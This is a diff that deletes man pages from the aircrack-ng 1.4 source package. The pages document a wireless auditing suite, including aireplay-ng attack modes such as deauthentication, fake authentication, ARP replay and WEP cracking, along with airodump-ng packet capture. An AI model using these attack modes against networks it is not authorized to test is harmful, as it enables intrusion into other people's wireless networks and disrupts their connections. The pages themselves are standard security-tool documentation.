-Set Access Point MAC address.
-.TP
-.I -c <dmac>
-Set destination MAC address.
-.TP
-.I -h <smac>
-Set source MAC address.
-.TP
-.I -g <nb_packets>
-Change ring buffer size (default: 8 packets). The minimum is 1.
-.TP
-.I -F
-Choose first matching packet.
-.TP
-.I -e <essid>
-Fake Authentication attack: Set target SSID (see below). For SSID containing special characters, see https://www.aircrack-ng.org/doku.php?id=faq#how_to_use_spaces_double_quote_and_single_quote_etc_in_ap_names
-.TP
-.I -o <npackets>
-Fake Authentication attack: Set the number of packets for every authentication and association attempt (Default: 1). 0 means auto
-.TP
-.I -q <seconds>
-Fake Authentication attack: Set the time between keep-alive packets in fake authentication mode.
-.TP
-.I -Q
-Fake Authentication attack: Sends reassociation requests instead of performing a complete authentication and association after each delay period.
-.TP
-.I -y <prga>
-Fake Authentication attack: Specifies the keystream file for fake shared key authentication.
-.TP
-.I -T n
-Fake Authentication attack: Exit if fake authentication fails \(aqn\(aq time(s).
-.TP
-.I -j
-ARP Replay attack : inject FromDS packets (see below).
-.TP
-.I -k <IP>
-Fragmentation attack: Set destination IP in fragments.
-.TP
-.I -l <IP>
-Fragmentation attack: Set source IP in fragments.
-.TP
-.I -B
-Test option: bitrate test.
-.PP
-.TP
-.B Source options:
-.TP
-.I -i <iface>
-Capture packets from this interface.
-.TP
-.I -r <file>
-Extract packets from this pcap file.
-.PP
-.TP
-.B Miscellaneous options:
-.TP
-.I -R
-disable /dev/rtc usage.
-.PP
-.I --ignore-negative-one
-if the interface\(aqs channel can\(aqt be determined ignore the mismatch, needed for unpatched cfg80211
-.PP
-.I --deauth-rc <rc>, -Z <rc>
-Provide a reason code when doing deauthication (between 0 and 255). By default, 7 is used: Class 3 frame received from unassociated STA. 0 is a reserved value. Reason codes explanations can be found in the IEEE802.11 standard or in https://mrncciew.com/2014/10/11/802-11-mgmt-deauth-disassociation-frames/
-.PP
-.TP
-.B Attack modes:          
-.TP
-.I -0 <count>, --deauth=<count>
-This attack sends deauthentication packets to one or more clients which are currently associated with a particular access point. Deauthenticating clients can be done for a number of reasons: 
-Recovering a hidden ESSID. This is an ESSID which is not being broadcast. Another term for this is "cloaked" or
-Capturing WPA/WPA2 handshakes by forcing clients to reauthenticate or
-Generate ARP requests (Windows clients sometimes flush their ARP cache when disconnected).
-Of course, this attack is totally useless if there are no associated wireless client or on fake authentications.
-.TP
-.I -1 <delay>, --fakeauth=<delay>
-The fake authentication attack allows you to perform the two types of WEP authentication (Open System and Shared Key) plus associate with the access point (AP). This is only useful when you need an associated MAC address in various aireplay-ng attacks and there is currently no associated client. It should be noted that the fake authentication attack does NOT generate any ARP packets. Fake authentication cannot be used to authenticate/associate with WPA/WPA2 Access Points.
-.TP
-.I -2, --interactive
-This attack allows you to choose a specific packet for replaying (injecting). The attack can obtain packets to replay from two sources. The first being a live flow of packets from your wireless card. The second being from a pcap file. Reading from a file is an often overlooked feature of aireplay-ng. This allows you read packets from other capture sessions or quite often, various attacks generate pcap files for easy reuse. A common use of reading a file containing a packet your created with packetforge-ng.
-.TP
-.I -3, --arpreplay
-The classic ARP request replay attack is the most effective way to generate new initialization vectors (IVs), and works very reliably. The program listens for an ARP packet then retransmits it back to the access point. This, in turn, causes the access point to repeat the ARP packet with a new IV. The program retransmits the same ARP packet over and over. However, each ARP packet repeated by the access point has a new IVs. It is all these new IVs which allow you to determine the WEP key.
-.TP
-.I -4, --chopchop
-This attack, when successful, can decrypt a WEP data packet without knowing the key. It can even work against dynamic WEP. This attack does not recover the WEP key itself, but merely reveals the plaintext. However, some access points are not vulnerable to this attack. Some may seem vulnerable at first but actually drop data packets shorter that 60 bytes. If the access point drops packets shorter than 42 bytes, aireplay tries to guess the rest of the missing data, as far as the headers are predictable. If an IP packet is captured, it additionally checks if the checksum of the header is correct after guessing the missing parts of it. This attack requires at least one WEP data packet.
-.TP
-.I -5, --fragment
-This attack, when successful, can obtain 1500 bytes of PRGA (pseudo random generation algorithm). This attack does not recover the WEP key itself, but merely obtains the PRGA. The PRGA can then be used to generate packets with packetforge-ng which are in turn used for various injection attacks. It requires at least one data packet to be received from the access point in order to initiate the attack.
-.TP
-.I -6, --caffe-latte
-In general, for an attack to work, the attacker has to be in the range of an AP and a connected client (fake or real). Caffe Latte attacks allows one to gather enough packets to crack a WEP key without the need of an AP, it just need a client to be in range.
-.TP
-.I -7, --cfrag
-This attack turns IP or ARP packets from a client into ARP request against the client. This attack works especially well against ad-hoc networks. As well it can be used against softAP clients and normal AP clients.
-.TP
-.I -8, --migmode
-This attack works against Cisco Aironet access points configured in WPA Migration Mode, which enables both WPA and WEP clients to associate to an access point using the same Service Set Identifier (SSID).  The program listens for a WEP-encapsulated broadcast ARP packet, bitflips it to make it into an ARP coming from the attacker\(aqs MAC address and retransmits it to the access point. This, in turn, causes the access point to repeat the ARP packet with a new IV and also to forward the ARP reply to the attacker with a new IV. The program retransmits the same ARP packet over and over. However, each ARP packet repeated by the access point has a new IV as does the ARP reply forwarded to the attacker by the access point. It is all these new IVs which allow you to determine the WEP key.
-.TP
-.I -9, --test
-Tests injection and quality.
-.SH FRAGMENTATION VERSUS CHOPCHOP
-.PP
-.PP
-.B Fragmentation:
-.TP
-.PP
-.I Pros
-.br
-- Can obtain the full packet length of 1500 bytes XOR. This means you can subsequently pretty well create any size of packet.
-.br
-- May work where chopchop does not
-.br
-- Is extremely fast. It yields the XOR stream extremely quickly when successful.
-.TP
-.PP
-.I Cons
-.br
-- Setup to execute the attack is more subject to the device drivers. For example, Atheros does not generate the correct packets unless the wireless card is set to the mac address you are spoofing.
-.br
-- You need to be physically closer to the access point since if any packets are lost then the attack fails.
-.PP
-.B Chopchop
-.TP
-.PP
-.I Pro
-.br
-- May work where frag does not work.
-.TP
-.PP
-.I Cons
-.br
-- Cannot be used against every access point.
-.br
-- The maximum XOR bits is limited to the length of the packet you chopchop against.
-.br
-- Much slower then the fragmentation attack.
-.br
-.SH AUTHOR
-This manual page was written by Adam Cecile <gandalf@le-vert.net> for the Debian system (but may be used by others).
-Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation
-On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL.
-.SH SEE ALSO
-.br
-.B airbase-ng(8)
-.br
-.B airmon-ng(8)
-.br
-.B airodump-ng(8)
-.br
-.B airodump-ng-oui-update(8)
-.br
-.B airserv-ng(8)
-.br
-.B airtun-ng(8)
-.br
-.B besside-ng(8)
-.br
-.B easside-ng(8)
-.br
-.B tkiptun-ng(8)
-.br
-.B wesside-ng(8)
-.br
-.B aircrack-ng(1)
-.br
-.B airdecap-ng(1)
-.br
-.B airdecloak-ng(1)
-.br
-.B airolib-ng(1)
-.br
-.B besside-ng-crawler(1)
-.br
-.B buddy-ng(1)
-.br
-.B ivstools(1)
-.br
-.B kstats(1)
-.br
-.B makeivs-ng(1)
-.br
-.B packetforge-ng(1)
-.br
-.B wpaclean(1)
-.br
-.B airventriloquist(8)

aircrack-ng-1.4.tar.gz/manpages/airmon-ng.8 Deleted

@@ -1,87 +0,0 @@
-.TH AIRMON-NG 8 "September 2018" "Version 1.4"
-
-.SH NAME
-airmon-ng - POSIX sh script designed to turn wireless cards into monitor mode.
-.SH SYNOPSIS
-.B airmon-ng
-<start|stop> <interface> [channel]
-.B airmon-ng
-<check> [kill]
-.SH DESCRIPTION
-.BI airmon-ng
-This script can be used to enable monitor mode on wireless interfaces. It may also be used to go back from monitor mode to managed mode. Entering the airmon-ng command without parameters will show the interfaces status. 
-It can also list/kill programs that can interfere with the wireless card operation.
-.SH OPTIONAL PARAMETERS
-.PP
-.TP
-.I start <interface> [channel]
-Enable monitor mode on an interface (and specify a channel). Note: Madwifi-ng is a special case, \(aqstart\(aq has to be used on wifi interfaces and \(aqstop\(aq on ath interfaces.
-.TP
-.I stop <interface>
-Disable monitor mode and go back to managed mode (except for madwifi-ng where it kills the ath VAP).
-.TP
-.I check [kill]
-List all possible programs that could interfere with the wireless card. If \(aqkill\(aq is specified, it will try to kill all of them.
-.TP
-.I --verbose
-This flag must precede start/stop/check and can be combined with other parameters or used alone. 
-This flag will increase the verbosity to provide additional useful information which may not be needed for normal operation.
-.TP
-.I --debug
-This flag must precede start/stop/check and can be combined with other parameters or used alone. 
-This flag will increase the verbosity to debug level to assist in troubleshooting errors in airmon-ng. Use this flag when opening a bug, but only use --verbose when requesting support in irc.
-.TP
-.I --elite
-WARNING: DO NOT USE: This flag must precede start or stop and will prevent airmon-ng from removing interfaces. 
-WARNING: Use of this flag will immediately disqualify receiving any support from the aircrack-ng team, due to the fact that this behavior is known to be broken. WARNING!
-
-.SH AUTHOR
-This manual page was written by Adam Cecile <gandalf@le-vert.net> for the Debian system (but may be used by others).
-And modified to fit airmon-ng by David Francos Cuartero <xayon@xayon.net>.
-Most recently modified by Zero_Chaos to update for the airmon-zc rewrite.
-Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation
-On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL.
-
-.SH SEE ALSO
-.br
-.B airbase-ng(8)
-.br
-.B aireplay-ng(8)
-.br
-.B airodump-ng(8)
-.br
-.B airodump-ng-oui-update(8)
-.br
-.B airserv-ng(8)
-.br
-.B airtun-ng(8)
-.br
-.B besside-ng(8)
-.br
-.B easside-ng(8)
-.br
-.B tkiptun-ng(8)
-.br
-.B wesside-ng(8)
-.br
-.B aircrack-ng(1)
-.br
-.B airdecap-ng(1)
-.br
-.B airdecloak-ng(1)
-.br
-.B airolib-ng(1)
-.br
-.B besside-ng-crawler(1)
-.br
-.B buddy-ng(1)
-.br
-.B ivstools(1)
-.br
-.B kstats(1)
-.br
-.B makeivs-ng(1)
-.br
-.B packetforge-ng(1)
-.br
-.B wpaclean(1)

aircrack-ng-1.4.tar.gz/manpages/airodump-ng-oui-update.8 Deleted

@@ -1,63 +0,0 @@
-.TH AIRODUMP-NG-OUI-UPDATE 8 "September 2018" "Version 1.4"
-
-.SH NAME
-airodump-ng-oui-updater - IEEE oui list updater for airodump-ng
-
-.SH SYNOPSIS
-.B airodump-ng-oui-updater
-
-.SH DESCRIPTION
-.BI airodump-ng-oui-updater
-downloads and parses IEEE OUI list.
-
-.SH AUTHOR
-This manual page was written by David Francos Cuartero.
-Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation
-On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL.
-
-.PP
-.SH SEE ALSO
-.br
-.B airbase-ng(8)
-.br
-.B aireplay-ng(8)
-.br
-.B airmon-ng(8)
-.br
-.B airodump-ng(8)
-.br
-.B airserv-ng(8)
-.br
-.B airtun-ng(8)
-.br
-.B besside-ng(8)
-.br
-.B easside-ng(8)
-.br
-.B tkiptun-ng(8)
-.br
-.B wesside-ng(8)
-.br
-.B aircrack-ng(1)
-.br
-.B airdecap-ng(1)
-.br
-.B airdecloak-ng(1)
-.br
-.B airolib-ng(1)
-.br
-.B besside-ng-crawler(1)
-.br
-.B buddy-ng(1)
-.br
-.B ivstools(1)
-.br
-.B kstats(1)
-.br
-.B makeivs-ng(1)
-.br
-.B packetforge-ng(1)
-.br
-.B wpaclean(1)
-.br
-.B airventriloquist(8)

aircrack-ng-1.4.tar.gz/manpages/airodump-ng.8 Deleted

@@ -1,283 +0,0 @@
-.TH AIRODUMP-NG 8 "September 2018" "Version 1.4"
-
-.SH NAME
-airodump-ng - a wireless packet capture tool for aircrack-ng
-.SH SYNOPSIS
-.B airodump-ng
-[options] <interface name>
-.SH DESCRIPTION
-.BI airodump-ng
-is used for packet capturing of raw 802.11 frames for the intent of using them with aircrack-ng. If you have a GPS receiver connected to the computer, airodump-ng is capable of logging the coordinates of the found access points. Additionally, airodump-ng writes out a text file containing the details of all access points and clients seen.
-.SH OPTIONS
-.PP
-.TP
-.I -H, --help
-Shows the help screen.
-.TP
-.I -i, --ivs
-It only saves IVs (only useful for cracking). If this option is specified, you have to give a dump prefix (\-\-write option)
-.TP
-.I -g, --gpsd
-Indicate that airodump-ng should try to use GPSd to get coordinates.
-.TP
-.I -w <prefix>, --write <prefix>
-Is the dump file prefix to use. If this option is not given, it will only show data on the screen. Beside this file a CSV file with the same filename as the capture will be created.
-.TP
-.I -e, --beacons
-It will record all beacons into the cap file. By default it only records one beacon for each network.
-.TP
-.I -u <secs>, --update <secs>
-Delay <secs> seconds delay between display updates (default: 1 second). Useful for slow CPU.
-.TP
-.I --showack
-Prints ACK/CTS/RTS statistics. Helps in debugging and general injection optimization. It is indication if you inject, inject too fast, reach the AP, the frames are valid encrypted frames. Allows one to detect "hidden" stations, which are too far away to capture high bitrate frames, as ACK frames are sent at 1Mbps.
-.TP
-.I -h
-Hides known stations for \-\-showack.
-.TP
-.I --berlin <secs>
-Time before removing the AP/client from the screen when no more packets are received (Default: 120 seconds). See airodump-ng source for the history behind this option ;).
-.TP
-.I -c <channel>[,<channel>[,...]], --channel <channel>[,<channel>[,...]]
-Indicate the channel(s) to listen to. By default airodump-ng hop on all 2.4GHz channels.
-.TP
-.I -b <abg>, --band <abg>
-Indicate the band on which airodump-ng should hop. It can be a combination of \(aqa\(aq, \(aqb\(aq and \(aqg\(aq letters (\(aqb\(aq and \(aqg\(aq uses 2.4GHz and \(aqa\(aq uses 5GHz). Incompatible with --channel option.
-.TP
-.I -s <method>, --cswitch <method>
-Defines the way airodump-ng sets the channels when using more than one card. Valid values: 0 (FIFO, default value), 1 (Round Robin) or 2 (Hop on last).
-.TP
-.I -2, --ht20
-Set the channel to be in HT20 (802.11n).
-.TP
-.I -3, --ht40+
-Set the channel to be in HT40+ (802.11n). It requires the frequency 20MHz above to be available (4 channels above) and thus some channels are not usable in HT40+. Only channels up to 7 are available in HT40+ in the US (and 9 in most of Europe).
-.TP
-.I -5, --ht40-
-Set the channel to be in HT40- (802.11n). It requires the frequency 20MHz below to be available (4 channels be)low and thus some channels are not usable in HT40-. In 2.4GHz, HT40- channels start at channel 5.
-.TP
-.I -r <file>
-Reads packet from a file.
-.TP
-.I -x <msecs>
-Active Scanning Simulation (send probe requests and parse the probe responses).
-.TP
-.I -M, --manufacturer
-Display a manufacturer column with the information obtained from the IEEE OUI list. See airodump-ng-oui-update(8)
-.TP
-.I -U, --uptime
-Display APs uptime obtained from its beacon timestamp.
-.TP
-.I -W, --wps
-Display a WPS column with WPS version, config method(s), AP Setup Locked obtained from APs beacon or probe response (if any).
-.TP
-.I --output-format <formats>
-Define the formats to use (separated by a comma). Possible values are: pcap, ivs, csv, gps, kismet, netxml. The default values are: pcap, csv, kismet, kismet-newcore.
-\(aqpcap\(aq is for recording a capture in pcap format, \(aqivs\(aq is for ivs format (it is a shortcut for --ivs). \(aqcsv\(aq will create an airodump-ng CSV file, \(aqkismet\(aq will create a kismet csv file and \(aqkismet-newcore\(aq will create the kismet netxml file. \(aqgps\(aq is a shortcut for --gps.
-.br
-Theses values can be combined with the exception of ivs and pcap.
-.TP
-.I -I <seconds>, --write-interval <seconds>
-Output file(s) write interval for CSV, Kismet CSV and Kismet NetXML in seconds (minimum: 1 second). By default: 5 seconds. Note that an interval too small might slow down airodump\-ng.
-.TP
-.I -K <enable>, --background <enable>
-Override automatic background detection. Use "0" to force foreground settings and "1" to force background settings. It will not make airodump-ng run as a deamon, it will skip background autodetection and force enable/disable of interactive mode and display updates.
-.TP
-.I --ignore-negative-one
-Removes the message that says \(aqfixed channel <interface>: -1\(aq.
-.PP
-.B Filter options:
-.TP
-.I -t <OPN|WEP|WPA|WPA1|WPA2>, --encrypt <OPN|WEP|WPA|WPA1|WPA2>
-It will only show networks matching the given encryption. May be specified more than once: \(aq\-t OPN \-t WPA2\(aq
-.TP
-.I -d <bssid>, --bssid <bssid>
-It will only show networks, matching the given bssid.
-.TP
-.I -m <mask>, --netmask <mask>
-It will only show networks, matching the given bssid ^ netmask combination. Need \-\-bssid (or \-d) to be specified.
-.TP
-.I -a
-It will only show associated clients.
-.TP
-.I -N, --essid
-Filter APs by ESSID. Can be used several times to match a set of ESSID.
-.TP
-.I -R, --essid-regex
-Filter APs by ESSID using a regular expression.
-.SH INTERACTION
-.PP
-.BI airodump-ng
-can receive and interpret key strokes while running. The following list describes the currently assigned keys and supposed actions:
-.TP
-.I a
-Select active areas by cycling through these display options: AP+STA; AP+STA+ACK; AP only; STA only
-.TP
-.I d
-Reset sorting to defaults (Power)
-.TP
-.I i
-Invert sorting algorithm
-.TP
-.I m
-Mark the selected AP or cycle through different colors if the selected AP is already marked
-.TP
-.I r
-(De-)Activate realtime sorting - applies sorting algorithm every time the display will be redrawn
-.TP
-.I s
-Change column to sort by, which currently includes: First seen; BSSID; PWR level; Beacons; Data packets; Packet rate; Channel; Max. data rate; Encryption; Strongest Ciphersuite; Strongest Authentication; ESSID
-.TP
-.I SPACE
-Pause display redrawing/ Resume redrawing
-.TP
-.I TAB
-Enable/Disable scrolling through AP list
-.TP
-.I UP
-Select the AP prior to the currently marked AP in the displayed list if available
-.TP
-.I DOWN
-Select the AP after the currently marked AP if available
-.PP
-If an AP is selected or marked, all the connected stations will also be selected or marked with the same color as the corresponding Access Point. 
-.SH EXAMPLES
-.B airodump-ng
-\-c 9 wlan0mon
-.PP
-Here is an example screenshot:
-.PP
------------------------------------------------------------------------
-.br
-CH  9 ][ Elapsed: 1 min ][ 2007-04-26 17:41 ][ BAT: 2 hours 10 mins ][ WPA handshake: 00:14:6C:7E:40:80
-.br
-.PP
-BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID
-.br
-.PP
-00:09:5B:1C:AA:1D   11  16       10        0    0  11  54. OPN              <length: 7>
-.br
-00:14:6C:7A:41:81   34 100       57       14    1   9  11  WEP  WEP         bigbear
-.br
-00:14:6C:7E:40:80   32 100      752       73    2   9  54  WPA  TKIP   PSK  teddy
-.br
-.PP
-BSSID              STATION            PWR   Rate   Lost   Frames  Probes
-.br
-.PP
-00:14:6C:7A:41:81  00:0F:B5:32:31:31   51   11-11     2       14  bigbear
-.br
-(not associated)   00:14:A4:3F:8D:13   19   11-11     0        4  mossy
-.br
-00:14:6C:7A:41:81  00:0C:41:52:D1:D1   \-1    11-2     0        5  bigbear
-.br
-00:14:6C:7E:40:80  00:0F:B5:FD:FB:C2   35   36-24     0       99  teddy
-.br
------------------------------------------------------------------------
-.br
-.PP
-.TP
-.I BSSID
-MAC address of the access point. In the Client section, a BSSID of "(not associated)" means that the client is not associated with any AP. In this unassociated state, it is searching for an AP to connect with.
-.TP
-.I PWR
-Signal level reported by the card. Its signification depends on the driver, but as the signal gets higher you get closer to the AP or the station. If the BSSID PWR is -1, then the driver doesn\(aqt support signal level reporting. If the PWR is -1 for a limited number of stations then this is for a packet which came from the AP to the client but the client transmissions are out of range for your card. Meaning you are hearing only 1/2 of the communication. If all clients have PWR as -1 then the driver doesn\(aqt support signal level reporting.
-.TP
-.I RXQ
-Only shown when on a fixed channel. Receive Quality as measured by the percentage of packets (management and data frames) successfully received over the last 10 seconds. It\(aqs measured over all management and data frames. That\(aqs the clue, this allows you to read more things out of this value. Lets say you got 100 percent RXQ and all 10 (or whatever the rate) beacons per second coming in. Now all of a sudden the RXQ drops below 90, but you still capture all sent beacons. Thus you know that the AP is sending frames to a client but you can\(aqt hear the client nor the AP sending to the client (need to get closer). Another thing would be, that you got a 11MB card to monitor and capture frames (say a prism2.5) and you have a very good position to the AP. The AP is set to 54MBit and then again the RXQ drops, so you know that there is at least one 54MBit client connected to the AP.
-.TP
-.I Beacons
-Number of beacons sent by the AP. Each access point sends about ten beacons per second at the lowest rate (1M), so they can usually be picked up from very far.
-.TP
-.I #Data
-Number of captured data packets (if WEP, unique IV count), including data broadcast packets.
-.TP
-.I #/s
-Number of data packets per second measure over the last 10 seconds.
-.TP
-.I CH
-Channel number (taken from beacon packets). Note: sometimes packets from other channels are captured even if airodump-ng is not hopping, because of radio interference.
-.TP
-.I MB
-Maximum speed supported by the AP. If MB = 11, it\(aqs 802.11b, if MB = 22 it\(aqs 802.11b+ and higher rates are 802.11g. The dot (after 54 above) indicates short preamble is supported. \(aqe\(aq indicates that the network has QoS (802.11e) enabled.
-.TP
-.I ENC
-Encryption algorithm in use. OPN = no encryption,"WEP?" = WEP or higher (not enough data to choose between WEP and WPA/WPA2), WEP (without the question mark) indicates static or dynamic WEP, and WPA or WPA2 if TKIP or CCMP or MGT is present.
-.TP
-.I CIPHER
-The cipher detected. One of CCMP, WRAP, TKIP, WEP, WEP40, or WEP104. Not mandatory, but TKIP is typically used with WPA and CCMP is typically used with WPA2. WEP40 is displayed when the key index is greater than 0. The standard states that the index can be 0-3 for 40bit and should be 0 for 104 bit.
-.TP
-.I AUTH
-The authentication protocol used. One of MGT (WPA/WPA2 using a separate authentication server), SKA (shared key for WEP), PSK (pre-shared key for WPA/WPA2), or OPN (open for WEP).
-.TP
-.I WPS
-This is only displayed when --wps (or -W) is specified. If the AP supports WPS, the first field of the column indicates version supported. The second field indicates WPS config methods (can be more than one method, separated by comma): USB = USB method, ETHER = Ethernet, LAB = Label, DISP = Display, EXTNFC = External NFC, INTNFC = Internal NFC, NFCINTF = NFC Interface, PBC = Push Button, KPAD =  Keypad. Locked is displayed when AP setup is locked.
-.TP
-.I ESSID
-The so-called "SSID", which can be empty if SSID hiding is activated. In this case, airodump-ng will try to recover the SSID from probe responses and association requests.
-.TP
-.I STATION
-MAC address of each associated station or stations searching for an AP to connect with. Clients not currently associated with an AP have a BSSID of "(not associated)".
-.TP
-.I Rate
-This is only displayed when using a single channel. The first number is the last data rate from the AP (BSSID) to the Client (STATION). The second number is the last data rate from Client (STATION) to the AP (BSSID).
-.TP
-.I Lost
-It means lost packets coming from the client. To determine the number of packets lost, there is a sequence field on every non-control frame, so you can subtract the second last sequence number from the last sequence number and you know how many packets you have lost.
-.TP
-.I Packets
-The number of data packets sent by the client.
-.TP
-.I Probes
-The ESSIDs probed by the client. These are the networks the client is trying to connect to if it is not currently connected.
-.PP
-The first part is the detected access points. The second part is a list of detected wireless clients, stations. By relying on the signal power, one can even physically pinpoint the location of a given station.
-.SH AUTHOR
-This manual page was written by Adam Cecile <gandalf@le-vert.net> for the Debian system (but may be used by others).
-Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation
-On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL.
-.SH SEE ALSO
-.br
-.B airbase-ng(8)
-.br
-.B aireplay-ng(8)
-.br
-.B airmon-ng(8)
-.br
-.B airodump-ng-oui-update(8)
-.br
-.B airserv-ng(8)
-.br
-.B airtun-ng(8)
-.br
-.B besside-ng(8)
-.br
-.B easside-ng(8)
-.br
-.B tkiptun-ng(8)
-.br
-.B wesside-ng(8)
-.br
-.B aircrack-ng(1)
-.br
-.B airdecap-ng(1)
-.br
-.B airdecloak-ng(1)
-.br
-.B airolib-ng(1)
-.br
-.B besside-ng-crawler(1)
-.br
-.B buddy-ng(1)
-.br
-.B ivstools(1)
-.br
-.B kstats(1)
-.br
-.B makeivs-ng(1)
-.br
-.B packetforge-ng(1)
-.br
-.B wpaclean(1)
-.br
-.B airventriloquist(8)

aircrack-ng-1.4.tar.gz/manpages/airolib-ng.1 Deleted

@@ -1,88 +0,0 @@
-.TH AIROLIB-NG 1 "September 2018" "Version 1.4"
-
-.SH NAME
-airolib-ng - manage and create a WPA/WPA2 pre-computed hashes tables
-.SH SYNOPSIS
-.B airolib-ng
-<database> <operation> [options]
-.SH DESCRIPTION
-.BI airolib-ng
-is a tool for the aircrack-ng suite to store and manage essid and password lists, compute their Pairwise Master Keys (PMKs) and use them in WPA/WPA2 cracking. The program uses the lightweight SQLite3 database as the storage mechanism which is available on most platforms. The SQLite3 database was selected taking in consideration platform availability plus management, memory and disk overhead.
-.SH DATABASE
-.TP
-.I database
-It is name of the database file. Optionally specify the full path.
-.SH OPERATION
-.TP
-.I --stats
-Output information about the database.
-.TP
-.I --sql <sql>
-Execute specified SQL statement.
-.TP
-.I --clean [all]
-Clean the database from old junk. When specifying \(aqall\(aq, it will also reduce filesize if possible and run an integrity check.
-.TP
-.I --batch
-Start batch-processing all combinations of ESSIDs and passwords.
-.TP
-.I --verify [all]
-Verify a set of randomly chosen PMKs. If \(aqall\(aq is given, all invalid PMK in the database will be deleted.
-.TP
-.I --import [essid|passwd] <file>
-Import a flat file as a list of ESSIDs or passwords.
-.TP
-.I import cowpatty <file>
-Import a coWPAtty file.
-.TP
-.I --export cowpatty <essid> <file>
-Export to a cowpatty file.
-.SH AUTHOR
-This manual page was written by Thomas d\(aqOtreppe.
-Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation
-On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL.
-.SH SEE ALSO
-.br
-.B airbase-ng(8)
-.br
-.B aireplay-ng(8)
-.br
-.B airmon-ng(8)
-.br
-.B airodump-ng(8)
-.br
-.B airodump-ng-oui-update(8)
-.br
-.B airserv-ng(8)
-.br
-.B airtun-ng(8)
-.br
-.B besside-ng(8)
-.br
-.B easside-ng(8)
-.br
-.B tkiptun-ng(8)
-.br
-.B wesside-ng(8)
-.br
-.B aircrack-ng(1)
-.br
-.B airdecap-ng(1)
-.br
-.B airdecloak-ng(1)
-.br
-.B besside-ng-crawler(1)
-.br
-.B buddy-ng(1)
-.br
-.B ivstools(1)
-.br
-.B kstats(1)
-.br
-.B makeivs-ng(1)
-.br
-.B packetforge-ng(1)
-.br
-.B wpaclean(1)
-.br
-.B airventriloquist(8)

aircrack-ng-1.4.tar.gz/manpages/airserv-ng.8 Deleted

@@ -1,79 +0,0 @@
-.TH AIRSERV-NG 8 "September 2018" "Version 1.4"
-
-.SH NAME
-airserv-ng - a wireless card server
-.SH SYNOPSIS
-.B airserv-ng
-<options>
-.SH DESCRIPTION
-.BI airserv-ng
-is a wireless card server which allows multiple wireless application programs to independently use a wireless card via a client-server TCP network connection. All operating system and wireless card driver specific code is incorporated into the server. This eliminates the need for each wireless application to contain the complex wireless card and driver logic. It is also supports multiple operating systems.
-.SH OPTIONS
-.PP
-.TP
-.I -h
-Shows the help screen.
-.TP
-.I -p <port>
-TCP port to listen on (by default: 666).
-.TP
-.I -d <iface>
-Wifi interface to use.
-.TP
-.I -c <chan>
-Lock interface to this channel.
-.TP
-.I -v <level>
-Debug level. There are 3 debug levels.
-Debug level of 1 shows client connection/disconnection (default).
-Debug level of 2 shows channel change requests and invalid client command requests in addition to the debug level 1 messages.
-Debug level of 3 displays a message each time a packet (and its length) is sent to the client. It also include messages from level 2 (and 1).
-.SH AUTHOR
-This manual page was written by Thomas d\(aqOtreppe.
-Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation
-On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL.
-.SH SEE ALSO
-.br
-.B airbase-ng(8)
-.br
-.B aireplay-ng(8)
-.br
-.B airmon-ng(8)
-.br
-.B airodump-ng(8)
-.br
-.B airodump-ng-oui-update(8)
-.br
-.B airtun-ng(8)
-.br
-.B besside-ng(8)
-.br
-.B easside-ng(8)
-.br
-.B tkiptun-ng(8)
-.br
-.B wesside-ng(8)
-.br
-.B aircrack-ng(1)
-.br
-.B airdecap-ng(1)
-.br
-.B airdecloak-ng(1)
-.br
-.B airolib-ng(1)
-.br
-.B besside-ng-crawler(1)
-.br
-.B buddy-ng(1)
-.br
-.B ivstools(1)
-.br
-.B kstats(1)
-.br
-.B makeivs-ng(1)
-.br
-.B packetforge-ng(1)
-.br
-.B wpaclean(1)
-.br
-.B airventriloquist(8)

aircrack-ng-1.4.tar.gz/manpages/airtun-ng.8 Deleted

@@ -1,103 +0,0 @@
-.TH AIRTUN-NG 8 "September 2018" "Version 1.4"
-
-.SH NAME
-airtun-ng - a virtual tunnel interface creator for aircrack-ng
-.SH SYNOPSIS
-.B airtun-ng
-[options] <interface name>
-.SH DESCRIPTION
-.BI airtun-ng
-creates a virtual tunnel interface (atX) for sending arbitrary IP packets by using raw ieee802.11 packet injection.
-.SH OPTIONS
-.PP
-.TP
-.I -H, --help
-Shows the help screen.
-.TP
-.I -x <pps>
-Sets maximum number of packets per second.
-.TP
-.I -a <BSSID>
-Specifies the BSSID for the iee802.11 header. In WDS Mode this sets the Receiver.
-.TP
-.I -h <SMAC>
-Specifies the source MAC for the iee802.11 header.
-.TP
-.I -i <iface>
-Sets the capture interface.
-.TP
-.I -r <file>
-Specifies a file to read 802.11 frames.
-.TP
-.I -y <PRGA-file>
-Is the name of the file, which provides the keystream for WEP encoding. (No receiving, just transmitting of IP packets.)
-.TP
-.I -w <WEP-key>
-This is the WEP key to en-/decrypt all traffic going through the tunnel.
-.TP
-.I -t <tods>
-Defines the ToDS and FromDS bit in the ieee802.11 header. For tods=1, the ToDS bit is set to 1 and FromDS to 0, while tods=0 sets them the other way around. If set to 2, it will be tunneled in a WDS/bridge.
-.TP
-.I -m <netmask>, --netmask <netmask>
-Filters networks based on bssid ^ netmask combination. Needs \-d, used in replay mode. 
-.TP
-.I -d <BSSID>, --bssid <BSSID>
-Filters networks based on the <BSSID>. Used in replay mode.
-.TP
-.I -f, --repeat
-Enables replay mode. All read frames, filtered by bssid and netmask (if specified), will be replayed.
-.TP
-.I -s <transmitter>
-Set Transmitter MAC address for WDS Mode.
-.TP
-.I -b
-Bidirectional mode. This enables communication in Transmitter\(aqs AND Receiver\(aqs networks. Works only if you can see both stations.
-.SH EXAMPLES
-.B airtun-ng
